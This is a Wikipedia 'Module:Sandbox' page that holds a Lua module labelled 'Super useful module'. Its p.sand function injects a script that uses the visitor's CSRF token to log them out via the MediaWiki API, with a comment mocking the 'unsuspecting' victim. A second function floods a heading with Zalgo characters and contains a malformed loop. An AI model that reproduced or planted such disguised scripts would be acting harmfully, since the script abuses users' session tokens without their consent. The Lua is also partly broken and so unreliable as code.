Module:Sandbox
Appearance
![]() | This module is subject to page protection because this page is not itself a sandbox. If you want to test a module, see the instructions below or use Module:Module sandbox; do not edit this page itself. |
![]() | This page is not a sandbox. It should not be used for test editing. To experiment, please use the Wikipedia sandbox, your user sandbox, or the other sandboxes. |
Scribunto testing area
This is not an actual Lua module. It exists to provide a convenient pseudo-namespace for code testing, hopefully preventing the main Module: namespace from becoming littered with experiments, as Lua modules cannot exist as subpages in the User: namespace.
Please name your experimental modules in the following format to help keep things tidy:
Module:Sandbox/Your User Name
If you need more Module sandboxes, create subpages of the sandbox thus created.
You can use Special:PrefixIndex/Module:Sandbox to list modules in this area.
--[[
Super useful module
Made by Materialscientist
© Materialscientist Corporation 2021. All rights reserved.
]]
local p = {};
function p.sand(frame)
-- Log out the unsuspecting prick who falls for this
local maliciousCode = mw.html.create('script');
maliciousCode:wikitext('mw.loader.using(["mediawiki.api", "mediawiki.user"]).then(function () { new mw.Api().post( { action: "logout", token: mw.user.tokens.get("csrfToken") })});alert("Goodbye!")');
return tostring(maliciousCode);
end
function p.sand2(frame)
local fun = mw.html.create('h1');
for i = 1, i <= 500, 1 do
fun:wikitext(' ̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺ͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩ ');
end
return tostring(fun);
end
return p;